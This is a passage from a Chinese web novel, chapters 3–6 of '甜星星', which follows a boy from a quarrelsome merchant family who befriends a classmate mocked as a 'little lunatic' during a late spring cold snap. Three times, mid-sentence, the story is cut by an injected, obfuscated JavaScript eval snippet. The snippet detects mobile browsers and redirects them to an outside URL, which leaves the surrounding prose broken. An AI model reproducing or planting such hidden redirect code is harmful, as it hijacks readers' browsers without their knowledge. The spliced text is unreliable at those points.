《甜星星》 3. 倒春寒 3 日子进了三月,人人都喊快开春了,然而春天迟迟不来,反倒又开始下起了雪。 江晏趴在教室后面的桌子上犯困。 他最近睡得很不好。因为金宝珍和江显声总是不消停。 倒并非因为互殴之类的,只不过是又到了每年做账和报税的日子。两口子不约而同地把脸一抹,开始默契地挽起袖子干活,仿佛从未发生过夫妻斗殴——要么深更半夜应酬归来,要么大半夜头对头噼里啪啦按计算器,时不时又要在家里翻箱倒柜地找东西——当然吵嘴也是免不了的,因为对账这种事,日常糊弄着也就算了,当真较真起来,会发现到处都是问题。 这样大规模清查之下,连带着发现家里的东西不知不觉也少了一些。倒不是什么太要紧的,无非就是几条贵价烟,两副金耳环,一只钢笔和一块表,还有些人情往来时收的红包——具体也没个数。金宝珍日常用起钱来不记账,大部分时候家里的现金本来就是只有个大概的。 江显声会计出身,又生性吝啬,一对不上账就痛心疾首。他这个节骨眼上不大敢冲金宝珍发火,于是把江晏拉出来训斥,责备他前些日子竟然胆敢把家里的重要证件全都偷偷拿出门,害得他看见空空的抽屉,差点当场犯了心脏病。又说假如丢了个一样半样的,这些年就全白忙了云云。 江晏恹恹的,只嘟囔说外头总比家里安全。 江显声一拍桌子,说我看你简直是个糊涂鬼。那郑贺家是什么人家,我可比你知道。病寡妇拖着一儿一女,穷得叮当乱响。不光她们娘仨,他家亲戚在安乐里,有一个算一个,都是出了名的穷光蛋。你露了财,非得叫人家盯上不可。这年头人心叵测啊,多少绑票的都是从身边人下手……就算不绑票,你天天跟人家混着,又不留心眼儿,人家哪天想坑你,简直跟玩儿一样…… 江晏很不愿意听他这样讲话。那天大家忙着做大酱块子,小贺子的姐姐郑鸣心细,特意给了他钥匙,让他把书包锁在地下室的立柜里,说是店里客人来来去去的,人太杂。江晏觉得郑鸣什么都知道,只是不说。她话很少,但做事永远很周全。 他想反驳几句,又觉得以江显声的势利眼,说了也是白说,于是沉默下去。 金宝珍对完了一页账,终于分出精神,当即反唇相讥,说每次你们江家人来劝架,家里都要丢点东西,你们家除了你大姐,余下的没一个手脚干净……要不是儿子心眼儿多,你指不定又要丢些什么。 江显声嘟囔说难道你哥哥就是个老实人了? 于是又是吵嘴。 然而一大堆票据和文件堆在桌上等着处理,两个人叽咕了几句,很有默契地没有继续吵下去。 可是牢骚总要有个去处,不然江显声浑身难受。于是他调转枪口,又开始冲着江晏说教。 无非就是让儿子在外头低调做人,不要显摆,不要说爹妈是干什么的,不然会被绑票之类的。 江晏觉得他爹挺荒谬的,一边说财不外露,一边戴个贵得要死的金表,好像是遮遮掩掩的,偏偏又时不时故意露出来,生怕别人看不见似的。金宝珍更不用说了,手上光金戒指就四五个,衣服多得能一年到头换着穿不重样。 江晏自己对一切穿戴无可无不可。都行,都可以,让他扮成什么样都无所谓。反正他一个学生,开学后校服往身上一套,走在人堆里,谁也看不出他和别的同学有什么区别。至于其他那些鬼话……江显声的话听听就算了。身边人是好是坏,他自有分辨。 只是终究觉得心烦。这种烦绵绵密密,像冬末大地上的泥泞一样难以摆脱。他趴在那里,很困,半梦半醒的,脑子里却还是金宝珍和江显声永远不停歇的争吵。 没个清净。 正迷糊着,忽然感到桌上哗啦一下。他很不情愿地清醒了,慢慢抬起头来。 教数学的歪鼻唐面色不善,勒令他不听课就滚出去站着。 江晏原地静默几秒,什么都没说,起身走了出去,顺便带上了教室门。 隔着门,教室里嗡嗡的说教声变得很模糊。江晏淡漠地往墙上一靠。雪花在走廊尽头的窗子上呼呼拍着,盖过了混沌的人声。他没带外套出来,身上有点冷。困意因此消退了一些,只留下说不出的倦怠。 好在下课铃很快就响了。各班都有学生涌出来,走廊里一下子又热闹起来。 李同顺很快从后门钻出来,一把揽住江晏:“别搭理那老登,他成天发疯。”江晏没什么精神:“嗯。” 一片喧嚣里,突然有人喊:“来了来了,就是那个,快看。” 身边有人探出头,有人静下来。四周的声浪微妙地弱下去。走路的人步子都放缓了。 李同顺在他旁边,很老成地摇摇头:“唉,真是病得不轻。” “怎么了?”江晏懒洋洋地抬了抬眼睛。 李同顺冲走廊那头一扬下巴:“看新鲜呗。” 江晏漫不经心地扫了一圈儿,附近几个班级前后门都挤满了人:“什么新鲜?” “就那个小神经啊……”李同顺感叹道:“你一天天上学还真是两耳不闻窗外事啊。” 江晏对凑热闹看新鲜这类的事全无兴趣,也不关心谁是小神经……金宝珍和江显声就是他生活里最大的神经病,硬要说的话,可能他奶奶也算得上一个。连歪鼻唐这种在他心里都根本排不上号。 他无聊地扭过头,想要走开,目光却在走廊那头快步跑来的小豆丁身上定住了。 对方剃成了寸头,精致的五官这下没遮没挡,让人看了个全。分明越来越近,可江晏又觉得好像什么都没看清。 那天遇到的假丫头贴着他身侧,一团热风一样掠过,在他们班级门口停住了。 四目相对,他也看见了江晏,本来就很大的眼睛顿时睁得更大了。 江晏动了动嘴,发现自己不知道他叫什么。 歪鼻唐从教室出来,假丫头收回目光,轻声细气道:“唐老师,我作业补完了。” 老实得好像和江晏上次见到的不是同一个人。 歪鼻唐一把抽走了他的作业本,上下打量着他,甚至还卷起作业本怼了怼他的肩膀:“下不为例,啊。” 假丫头低着头:“嗯,谢谢老师。” 礼貌得好像也不是同一个人。 歪鼻唐看见四周围观的学生,不耐烦地轰人:“走走走都走,在这儿围着看什么?”说完又瞥了一眼假丫头,声音不高不低道:“男孩子描眉画眼的,不学好。”说完夹起教案,迈着方步走了。 他的身影一从楼梯口消失,假丫头立刻抬起头,冲那个方向挤眉弄眼地吐舌头。分明是很顽劣很不尊重人的动作,可让他做起来,只有一种说不出的有趣可爱,让人觉得压根儿没什么不对的。 江晏从没想到自己这辈子也有嘴欠的时候:“你上次的脾气呢?” 假丫头抿紧嘴巴,盯住江晏看了几秒,忽然毫无预兆地在他脚上踩了一下,然后又风驰电掣的跑了。 江晏愕然。 李同顺急眼了,挽起袖子:“我去揍……” “算了。”江晏拉住他,在鞋子里动了动脚趾,说不清自己为什么这么想笑:“真的好神经。” 主角不见了,走廊里所有人好像又恢复了正常。他貌似不经意地对李同顺道:“他是不是快成全校名人了?” 李同顺压低了声音:“差不多吧。反正上面那层楼是都知道了,二十一班有个纪天星。” 他们学校一个年纪有二十六个班,初一大部分班级在五楼,剩下的几个,包括江晏他们的三班,在四楼。当然任课老师都是同时教好几个班,看来二十一班和三班是一个数学老师。 李同顺也不知道脑子里都在想什么:“他要是个女生,就有热闹看了……” 江晏摇头:“现在热闹就挺不少的。” 说起热闹,他心里那点愉悦立刻消失了。热闹不是什么好东西,看热闹的眼睛更是。 不知道谁把走廊里的窗子的打开了,寒风夹着雪粒灌进来。江晏又恢复了那种万事不挂心,寡言又淡漠的样子。他一言不发地走进了教室。 周五半天课,最后一节是语文,上完就放学了。 李同顺喊江晏一起走,别的班也有几个少年也凑过来汇合。他们都是安乐里一起长大的发小,年纪相差不大,很自然地成了个小团体。江晏上学早,其实在他们之中年纪最小,但没人真的拿他当小弟——不管怎么看,他外表都比实际年龄大很多,性格也是。初一功课不多,几个孩子约着去体育馆打篮球。江晏说有点困,要回家补觉,于是和他们在校门口分别,独自骑车回家了。 平江中学离安乐里不算太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15224539|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远,绕过两座教堂和一座庙,就进了上码头路。雪下得小了些,风还是很大,吹得自行车东倒西歪。然而不管天气如何,上码头路总是热闹依旧。这条路人来车往的,虽然比不上市中心那边,却也算是个繁华所在,百货公司,电影院,舞厅,邮局和银行……都在这里。路边各种商铺林立,饭馆儿也是扎堆。江晏知道自己应该停下来找家店,吃点热的再回去。但他又完全感觉不到饿,只觉得周围吵闹得厉害,让他有点头晕。 好在拐进树西,热闹声就少了一多半,再进了宁安巷,周围彻底寂静下去。 他把自行车推进楼里锁好,一个人上楼。 没想到打开门,迎面被冷风扑了一脸。 江晏望着大开的窗子和地上的狼藉,心里猛然一沉。 他没关门,一个人在门口站了好一会儿,才谨慎地踮着脚走进去,默不作声地察看了一圈儿。 把床底,柜子和卫生间这些可能藏人的地方都看过后,他轻轻呼出一口气。 家里没进小偷,没丢东西,遭殃的只有窗边架子上的彩瓷花瓶和客厅的水族箱。看起来是窗子被风吹开,打中了花瓶,花瓶又打碎了水族箱。 两条金龙鱼在缸底所剩无几的水中无力地扑腾着。 他关好窗子,把窗梢用力划到底,给金宝珍打电话。那边电话响了好一会儿才通,金宝珍大概在忙着,语气相当不耐烦,问他怎么了。 江晏说妈你出门是不是没关好窗子? 金宝珍说关了的,怎么了? 没怎么。江晏道。 他心里明白了。是江显声。江显声抽完烟总是懒得好好划上窗梢——那个窗梢因为窗框年久变形,有点紧,划到底后往外拨很费劲。但金宝珍和江显声整日忙着,谁也不关心这等小事。偶尔窗子开了,他们就互相指责,借机吵上一架。 所以他只能说没怎么。经验告诉他,在金宝珍忙着的时候冲她告江显声的状不是个好主意。 别学你爸似的,一天老疑神疑鬼。金宝珍数落完,语气又缓下来,说妈忙着盘货,明天回去,你自己吃点好的。 她永远是这一句:吃点好的。 没有再多了。 当然总比江显声强。江显声接到他的电话,只会说我忙着,有事找你妈去。 电话挂断,只剩下嘟嘟声。 金龙鱼还在啪啪地蹦,把本就不多的水又扑腾出去一些。地板已经全淹了。 江晏面无表情地坐了好一会儿,终于拖着身子站起来,去卫生间找水桶了。他把两条大鱼捞出来,放进水桶,拎去卫生间,一个人打扫了客厅的残骸。 破掉的水族箱太大了,一个人搬不了,他只好把它留在那里。 做完这些已经一点多了,江晏慢吞吞地回到卫生间,发现卫生间的地上也全是水。两条金龙鱼一东一西,正在地砖上喘气。 水桶太小,鱼得了水,不但不消停,反而扑腾得更厉害,直接蹦了出去。 江晏看着那一张一合的腮,感觉自己也有点喘不上气。 他接了水,把鱼放回水桶。金龙鱼缓过劲来,又开始了新一轮的扑腾。 江晏盯着桶里的鱼,站了好半天,最终把塑料水桶盖子紧紧地盖了上去。 他提着水桶出了门,走前还不忘把家门仔细反锁了。 外头雪还下着,风吹在湿淋淋的手上,又冷又疼,他甚至懒得把手套戴上。拎着这样的东西,自行车是没办法骑了。他一个人较劲似地提着桶往江边走。一桶水加两条鱼,看着好像不多,拎起来走路,却越走越沉。他身上开始冒冷汗,被江风一吹,又有点头晕。 快走到巷口裁缝铺的时候,感觉好像有什么东西贴着自己窜过去了。 江晏正默默咬着牙埋头走路,也没理会。结果那团东西在不远处停了一会儿,又窜回来。 江晏下意识抬起头,发现居然是纪天星。 那小神经正歪着脑袋看他,声音脆凌凌的:“怎么又是你?” 他雪白的小脸被风吹得有点泛红,帽子手套都没戴,可看上去好像一点儿都不冷。 江晏本来心里是很沉的,脑袋也迷糊着,猛然看见是他,微微一愣,下意识回嘴道:“我还想问你呢。” 纪天星上下打量着他,忽然狡黠一笑:“你又偷了什么呀?” 4.倒春寒 4 江晏不知道该做什么表情了。小神经果然是小神经,有意思时很有意思,讨嫌时也真的很讨嫌。但他现在太累,笑不出来,只能冷淡道:“反正没偷你的。” 纪天星眉毛一立,哼了一声,转身走了。 江晏也往前走去。走了几步,忽然觉得手里的桶变得特别重,他用力往上提了提,一阵天旋地转,当场站立不住,往前一扑。 纪天星闻声回头,吓了一跳,立刻跑回来,关切道:“你怎么了?” 江晏眼前发黑,说不出话。 “你是不是没吃饭,头晕晕的?”纪天星蹲下来,热乎乎的小手摸了摸他的额头。 江晏艰难地嗯了一声。 纪天星在口袋里掏摸,片刻后,一颗棕色的圆球塞进了江晏的嘴巴里。 甜蜜醇厚的东西在舌尖上飞速化开,江晏抿了抿,竟然是巧克力。他慢慢咽下去。 好一会儿,世界才终于慢慢恢复了清晰。他的头好像也没有那么晕了。江晏摇摇晃晃地坐起来,裤脚碰到了地上的水——刚刚从桶里洒出来的。 今天到底是什么日子。他看着裤脚的水痕往上爬,很愁闷地想着。 “哎呀你是不是傻了!裤子湿了!”热乎乎的小手又伸过来,双手握住江晏的手腕,非常努力地想要把他拽起来。可惜人小力微,完全拽不动。纪天星急得跺脚:“你动一动呀!” 江晏回过神,终于努力站了起来。他拍了拍裤子,特别想找个地缝钻进去:“……那个……谢谢你啊。”说着重新提起了水桶。 “你干什么去呀?”纪天星仰头看他,大眼睛里全是担忧——半点都不讨厌,也不神经,那是充满善意的眼睛。 “去销赃。”江晏小声道。 纪天星立刻警觉地后退了一步,开始瞪他。 “逗你玩儿的。”江晏像大人那样咳嗽了一声,正色道:“谢谢你的巧克力。” “哼,就剩那一颗了。”纪天星又不高兴了。 江晏想说什么,他又主动把头伸过来,好奇道:“你桶里是什么呀?” 江晏赶忙揭开盖子给他看。 “诶,是龙鱼!”纪天星很惊奇。 “你认识?”江晏也有些意外。普通人家养这个的人不多,他家是为了做生意的风水。 “嗯。”纪天星的神色黯淡下去:“以前家里有好多。” “你爸妈也做生意的?”江晏有了一点精神。 “我爸是。”纪天星小声道:“不过现在不是我爸了。”他抬起头:“你拎这个干什么去呀?” 江晏的声音又低下去:“放生。” “放到江里去么?”纪天星追问。 江晏点头:“放生都放江里的。” “这个天气会冻死的。”纪天星同情道:“这是热带鱼。” 江晏愣了一下,反应过来。真的,这个天气,放进江边的冰窟窿,就不是放生,是杀生了。他该想到的。但今天好像从早上起来就有点晕,脑子都不转了。 “家里没地方养了。”他终于露出了一点孩子气的愁苦。 “你真不要了么?”纪天星追问道。 江晏沉默,他说不清。江显声肯定会去买新的水族箱,但那不知道要花上多久。 “江边那条街卖热带鱼。”纪天星道:“你要不要问问老板,要是人家收鱼,你就便宜卖给老板嘛。” 江晏想了想,忽然笑起来:“对啊,我刚刚怎么没想到。”他一下子有了主意。“那我去江边看看。” 说完踌躇了一下,还是主动道:“你要一起来么?” 纪天星上下看了看他,严肃道:“唉,一起吧。不然你又倒地上可怎么办?” “我就是没睡好。”江晏努力解释:“我太困了……” 纪天星直白道:“我看你是饿的。” “我不饿。”江晏道。 纪天星不说话了,他用一种很同情的眼神看着江晏。 江晏只好假装没看到。 两个孩子走到沿江路上,那里一条街都是卖水族设备和热带鱼的。江晏一家家问过去。他不是卖,是问能不能付点钱,把鱼暂时寄养在这里。答案总是不行。最后一家老板看他是个孩子,大冬天手都冻青了,又讲得诚恳,说可以是可以,但养死了我不负责,你这鱼现在看着已经不怎么精神了。江晏想起了金宝珍缺货时给人家打欠条,立刻道:“那我给你立个字据。” 老板有点意外,随即又笑:“不得了,还懂什么叫立字据。”说着真的给他拿了纸笔。 江晏一笔一画在那儿写。本来正趴在鱼缸前看大地图鱼的纪天星跑过来,仔细瞅了半天,最后小声在他耳边道:“你把每天要付多少钱都写上,条子得写两张。” 江晏点头:“我知道。” 写完条子,老板已经把鱼放进空缸了。金龙鱼经过一番折腾,状态萎靡。但江晏也就只能做到这样了。他向老板认真道谢,和纪天星一起走出了店铺。 天色灰蒙蒙的,雪大得跟鹅毛片一样。江晏习惯性地往江堤走。纪天星眯眼跟着他:“你不冷啊?” “有点儿。”江晏承认。 “那你还不回家。”纪天星不能理解。他压低了声音:“是不是因为没偷够数……” “我不是小偷。”江晏无奈:“你上回看见的金首饰是我妈的……” “谁家小孩好好的把亲妈的金首饰带出门啊?”纪天星斜眼看他,一副“你少骗我”的样子。 江晏也拿眼睛睨他:“你非说我是小偷,那我还说你是骗子呢。” 纪天星提高了声音:“我怎么是骗子了?” “谁家塑料文具盒值五十块啊?” 纪天星梗起脖子:”那是从香江带回来的!你懂什么!”他转身要走:“不和你说了,土包子。” 江晏赶紧拉住他,想都没想就道歉:“唉,我没见识,你别生气。” 纪天星看看他拉着自己的手,表情又和缓下来,咕哝道:“本来就是么。” 天很冷,雪又大,沿江的马路上没什么人。但纪天星的手很温暖。江晏忽然不想去江边坐着了。他觉得自己应该多交一个朋友。 “你想吃点什么?”他开了口:“我请。” 纪天星一副得意样子:“我就说你饿了嘛,你还不承认。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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素烩汤是新出锅的,木耳干豆腐胡萝卜都切丝拿淀粉水烩了,淋了打散的鸡蛋。盛出来时撒一把新炸的土豆丝和一撮香菜。咸鲜口的汤,里头该有的都有,天冷时吃一口,落进肚子里很踏实。锅烙就是本地人爱吃的那种带馅的东西,油汪汪的,外头脆,里头鲜。三鲜的放了足够多的海米和虾籽,西葫芦鸡蛋的放了足够多的虾皮。 纪天星吃了几口,立刻快乐起来:“好吃!你怎么不吃!” 江晏拿铁皮勺子慢慢搅着汤:“烫。”汤碗很热,他拢在手心里,暖手。拉着纪天星走了一路,一只手早就暖起来,另一只却还有点僵。 纪天星放下筷子,正色道:“我还不知道你叫什么呢。” 江晏停下了搅动,扭头看他:“我叫江晏。” “燕子的燕么?”纪天星歪头。 “不是……”江晏摇头,一时想不出“晏”能组个什么词出来。 纪天星伸出白白的手心:“怎么写呀?” 江晏拉过他的手,一笔一画写下来。 纪天星小声道:“你两只手怎么都不是一个温度啊。”他很自然地握住了江晏还冷着的那只手,换了只手拿起勺子,开始喝汤:“汤也好喝!” 外头的雪不知道什么时候停了,天色明亮起来。店里热热闹闹的,锅烙的油烟味又飘过来。江晏任由纪天星拉着手,扭头尝了一口汤。 今天的汤是挺好喝的。他想。回去的时候要打包一份当晚饭。 5.倒春寒 5 雪一下,江畔彻底回到了冬天。皑皑的雪在房顶上积了三寸来厚,最底下一层是冰。天倒是晴的,空气有种寒沁沁的清爽。 东南向的老房子,大清早太阳就亮得晃眼睛。纪天星很不情愿地从被窝里爬出来,一吸气就打了个大喷嚏。他嘟着小脸飞速穿好衣服,起床去吃早饭。 何玉秋不在,灶台的砂锅里留了小米粥,一颗咸鸭蛋和两根酸黄瓜放在边上。纪天星一开学,她就在附近的包子铺找了个活计,每天四点半就出门去上班了。 姥姥前年刚从国营百货公司退休,本来有一份足够生活的退休金。可是她现在要养纪天星,那份退休金就不大宽裕了。其实节俭一点,倒也不是过不了日子。但她预备着攒点钱,来年送纪天星去上补课班。她希望纪天星能考个好高中,这样将来才有希望上大学。 平心而论,平江中学的升学率在公立学校中还算可以。它是这附近所有小学的对口中学,全校有一百多个班。问题是学生来源比较复杂,学校不好管理,校风也就比较难评。至于分到什么样的老师,更是完全看运气。这里最好的学生当然能上省市重点,最差的那些却打架斗殴出过人命。 何玉秋已经养出了一个不省心的纪妙菲,因此对纪天星的未来也感到担忧。她对纪天星说的最多的话就是“好好学习”和“人得自立,自己养活自己”。 姥姥文化不高,她讲的话却总是很有道理。问题在于道理很多时候并不管用。纪天星觉得她当年对纪妙菲肯定也没少说过类似的话。可惜这些话对一个人最终要过怎样的人生好像并没有什么影响。 纪天星每次听到那样的叮嘱就犯愁。像所有这个年纪的小孩一样,他往书桌前一坐就浑身难受。至于什么“自己养活自己”,更是不可思议。纪妙菲总说李进东的钱多得几辈子花不完,纪天星是他唯一的儿子,难道当爹的还能让儿子讨饭去么? 结果李进东还真的做得出:此爹一毛不拔,倒坑娇妻十几万。理由是纪妙菲搞人身伤害,他得索赔。 至于儿子,据说外头有人又给他生了新的,而纪天星这个小王八蛋既然和纪妙菲一条心,那么不要也罢。 总之一夕之间,生活就成了这样。衣来伸手饭来张口的日子一去不复返,纪天星现在什么事都得自己做了。 姥姥很认真地告诉他:咱们星星是男孩子,将来要做家里的顶梁柱,不能凡事总想着靠别人。因为靠山山倒,靠人人跑。别人是别人,你自个儿是你自个儿。然后又有点伤感地说,姥姥现在还在,等姥姥没了,你就得全靠自己个儿了。 妈妈已然不知所踪,就剩姥姥在身边。要是姥姥再没了……纪天星实在是吓到了,夜里偷偷在被窝里掉了好多眼泪。再醒来他就不再耍脾气了,而是乖乖开始学着做事。 系鞋带,穿衣服,洗碗,扫地,烧水,收拾炉灶…… 现在他做这些已经很熟练了。但偶尔姥姥不在家,他还是会犯懒,恨不得一整天都在床上躺着睡大觉。可惜现在没有保姆伺候他了,躺在床上,饭不会自动排队走到他嘴里。而且白天不生火,屋子里太冷,越是躺着,越是遭罪。 于是他只能一个人在床上扭动哼唧,哼唧够了,苦大仇深地爬起来,自己照顾自己,学着“自立”。 当然只要一爬起来,他就把那些起床时的不高兴都忘记了。姥姥不在家,他把钥匙往脖子上一挂,可以随意出门玩儿——这在以前是难以想象的。 所以生活嘛,大概就像语文课本上说的:失之东隅,收之桑榆。 纪天星一个人吃着早饭,小米粥稠厚,咸鸭蛋冒油,酸黄瓜酸甜脆嫩,咬下去咯吱作响。一顿早餐虽然简单清淡,倒也是有滋有味的。不过天气冷,他还是很想吃那种油汪汪,热腾腾的东西。 比如锅烙。嗯,其实锅烙倒也不是要紧的,要紧的是,搬来这么久,他总算是在这里交到了第一个男生朋友。 虽然这位大个子朋友看起来老是有点狼狈,身体似乎不好,脑筋也时灵时不灵的,还爱自己给自己找罪受,可他脾气不错,人也大方…… 最重要的是,他不会笑话纪天星,看过来的目光也很正常,在纪天星去裁缝铺买拉锁和松紧带的时候,还会帮忙砍价。不像学校里那些脏煤球似的男生,一天到晚在身边起哄讨嫌,要么就呆头鹅似地盯着自己猛看,还有老是威胁着要揍人的……总之没一个好东西。 班上的女生倒是好很多,比如他的同桌祝晴就很可爱,是个笑眯眯又香喷喷的女孩子,经常请纪天星吃一毛钱一袋的无花果。还有前桌的沈楠,她愿意主动把自己的作业借给纪天星抄。他喜欢她们,想和她们一起玩儿,可是下课和女孩子们一起跳皮筋,大家都会被讨厌鬼们起哄。 纪天星烦不胜烦,最后选择课间一个人坐在座位上写作业。唯一的好处大概是这样一来,他在学校就能把作业写得差不多,回家就可以看电视了。 嗯,又是一种“塞翁失马,焉知非福”了。 唉,要是能和江晏一个班就好了。纪天星想。他看着外面明亮的天色,又高兴起来。反正大礼拜六的,他可以去找江晏玩儿嘛。前一天回来的时候路过宁安巷,江晏给自己指了他家的那栋楼。昨晚姥姥给自己的毛皮小夹克换了新拉锁,他正好可以向这位新朋友炫耀一番。 想到这里,他飞快地吃好早饭,收拾干净碗筷,然后把门一锁,就像出笼的小鸟似地飞出了家门。 其实江晏并不在家。 天色刚亮的时候,江晏是从慈安寺的寮房里醒来的。不是他睡饱了,也不是寮房太冷,是诵经的声音嗡嗡响,让他睡不着了。 寮房空着,奶奶赵秀英不在。她是居士,在寺庙后街开了一间半死不活的香烛店,时不时就把店门一锁,来帮庙里干活。最近更是每天住在这边。每月初一庙里本来就有法会,要施斋,紧接着又是二月二,来上香祈福的人会很多。于是干活的人理所当然都很忙碌。江晏不知道她是什么时候出门的。 赵秀英忙着烧香拜佛,从来不管家里的事,但有她在,江晏总算是有个落脚的地方。 得知水族箱坏掉,江显声果然雷霆大怒。他只字不提自己的疏忽,而是冷着声把江晏定性为金宝珍养出的废物,连家里窗梢坏了都不会修。听说金龙鱼被送到了江边的水族店里,更是暴跳如雷——据说是因为这样象征着把财运送人了。 他总是有办法把自己的错都变成别人的错。打电话前,江晏就知道会是这样。他懒得听这位大爹聒噪,隔着电话,心平气和地说周末想去看奶奶,就先不回家了,说完果断挂掉了电话。 然后当晚就没回去,并且今天明天也都不打算回去,周一直接去上学——因为按照经验,在江显声发怒期回家定然不会有什么好果子吃,而金宝珍出现后,家里很可能又有大战。 僧寮的木板床狭窄坚硬,江晏躺在上头,心里倒很平静。一夜无梦,他总算睡了个好觉。 但黑甜乡不是归所,活人醒来,终究是要睁眼面对生活的。 江晏安静地起床,去斋堂吃早饭。慈安寺不太大,据说以前破砖烂瓦的,一半是工厂大杂院,另一半被某个国营商铺拿来当仓库用。重新修起来,也就是这十几年的事儿。 僧人和居士都不多,雪一下,院子里有种很萧瑟的清净。斋堂里没几个人,大家都不说话,默默忙着。饭菜就那几样,雪里蕻,白馒头,一小勺辣萝卜丁,配大米粥。打饭的居士祁奶奶认得江晏,冲他笑一笑,从大桶底下捞粥给他,于是那粥稠得简直像一碗大米饭。 江晏就在角落里吃饭。吃好了,接点热水,把粥碗涮干净,连着米粒一起喝下去——奶奶总说佛观一粒米,大如须弥山。他也不知道须弥山是什么,只知道饭碗吃得干净点儿,居士们好洗碗。 等他吃完饭,僧人的早课也结束了。他与他们擦肩而过,到寺庙后院去。那里还有几个偏殿,供的不是佛菩萨,是别的神仙——谁也说不清为什么和尚庙里会有财神爷和三太奶,但人家确实就在那儿。 赵秀英正在财神殿里头慢吞吞地摆贡品。 看见江晏过来,她依旧是那副没精打采的样子,只是非常顺手地从供桌上掰了个香蕉塞到了他手里。 江晏:“……这不好吧?” 赵秀英对财神爷不慌不忙地拜了拜,用一种把进价两块的蜡烛卖到二十块的语气道:“哦呦,那么大的神仙,享得供奉多了去了,不会在意给小孩子一个香蕉的,是吧,财神老爷?咱们财神老爷是人间第一神,最是大方敞亮了……再说了,晏晏往后也少不得好好孝敬您老呢……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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武馆小时候算托儿所,现在大概算课外班。师父老于头年纪一把,性子散漫,对什么都不太上心。说是开武馆,其实就是混日子。每每让教一点真功夫,老头子就打哈哈——大概是怕教得太快,不能长久地收学费。 老于头手底下的徒弟总是来了又走,江晏算是留得长远的。他五岁上学那年进去的,松松散散地呆了六年,学了点儿螳螂拳鸳鸯腿之类的花架子,能比比画画地舞几招太极剑,还能照猫画虎地打一套完整的八卦掌——在旁人看来,他其实也没正经学成个什么。个子倒是长起来了,然后又成了江显声嘴里的“傻大个子”。也不知道这位当爹的到底为什么那么看不上自己的儿子。 “……行啊,凑合在那儿呆着吧,混个好身板儿。你师父今年七十五了吧?” “七十六了。”江晏道:“最近可能呆不住。大师兄……就是师父的大儿子下岗,带着全家从隔壁市搬回来。师父说等他安顿完再让我们过去……可能得两三个月吧。” 赵秀英嗤笑一声:“然后每个月学费照收是吧。嘿,老棺材瓤子真是个属猴的。”她看了一眼江晏:“别想东想西了,谁的事都和你没关系。你一个小孩儿,只管吃饭睡觉就得了。” “我没想什么。”江晏望着石塔上的风铃。 赵秀英顺着他的目光望去,忽然叹了口气:“什么铁饭碗……都是三十年河东,三十年河西。”说着往外走。活儿都干完了,她要去吃早饭了。 隔壁三太奶殿的门口有蒲团,江晏走过去,在旧蒲团上盘腿坐了下来。一条小路从积雪里向各个偏殿延伸出去,大部分厚厚的白色还留着,看起来相当洁净。隔着一堵墙,外头隐隐有热闹的叫卖声传了过来,而院子里,只有塔上的风铃在摇晃。一切模糊与微弱渐渐不再分明,都落入了雪中的寂静。 江晏坐在那儿,什么都没想,很自在,又觉得心里透风,空得发冷。 但终究还是很自在的。 很可惜这种平静自在没多久就被一股呛人的烟味打破了。 江晏抬起头,看看手表,已经八点多了。庙门已开,前院儿这会儿估计烟雾缭绕,都是香火。马上就是法会,最近都是扎堆来烧供奉做法事的人。香火香火,香是没闻到,他只觉得着了火。 有香客带着供奉过来,江晏让出蒲团,往藏经楼后头的菜园子走。刚绕过去,就听见有人喊他:“晏儿!晏儿!” 江晏抬头,在庙墙上看见了两颗脑袋——是郑贺和李同顺。小贺子看见他,眉开眼笑的:“你果真在这儿!” 6.倒春寒 6 小伙伴来找,江晏顺理成章地跟他们走了。 寺庙后街都是些取名为某某阁或者某某缘的店铺,打着工艺品或者文化用品的名头,里头卖些佛像神龛之类的东西,再就是某某馆或者某某斋,那是做素斋的饭店。角落里非常不起眼的地方,有那么两三家香烛和纸扎铺子。江晏路过奶奶的店,看见了门上的大号铜锁。 自行车轮转动,店铺很快落在了后头。 小贺子在自行车后座上大口吃着江晏给的香蕉,嘴里含糊不清:“谢哥喊咱们,说要聚聚……” “不是谢哥。”李同顺一边蹬车,一边解释:“主要是蒋春生,说周末正好大家都有空,想凑齐了人,去体育馆好好打场球。谢哥同意了。” “他寒假时不是一直张罗滑冰么?”江晏随口道:“这会儿又要打球了。” “嘿,玩儿还有个够么?没够。” “就是就是。”小贺子吃完了香蕉,在路边四处寻觅垃圾桶。 江晏不说话了。他其实兴致不高,但确实也没什么别的事可做,打打球也算是打发时间了。作业昨天就已经都写完了。 到了街心公园,那边果然已经聚了一大帮半大小子,猴儿似地有上有下攀在一堆健身器材上,正在吵着什么。 都是宁安和长安的男生。年纪相仿的十几个人,小时候常在一起玩儿,一路念书过来也都是同校,所以好像理所当然就成了个小团体,谢浩然是他们中间最大的,今年初四了。 老大靠在单杠上,遥遥冲江晏一点头:“晏儿来了。” 江晏推着自行车走过去:“浩然哥。” 谢浩然拍了拍他的肩,又不说话了,转头看向其他人。 其他的男生还在吵。 无非就是蒋春生想去打球,有人不同意,说潘庆挨了隔壁校的欺负,他们今天难得凑了不少人,应该去找场子。 江晏看着那个嚷嚷的男生,叫袁昌盛的,初三的,住李同顺家隔壁大院儿。江晏去年看见他在隔壁巷子后面跟着一个小混混,人家打完人,他上去翻那个挨打男生的兜。 十几岁的男生正是惹是生非的年纪,一听同伴挨了欺负,那还得了,于是纷纷嚷着要让对方好看。 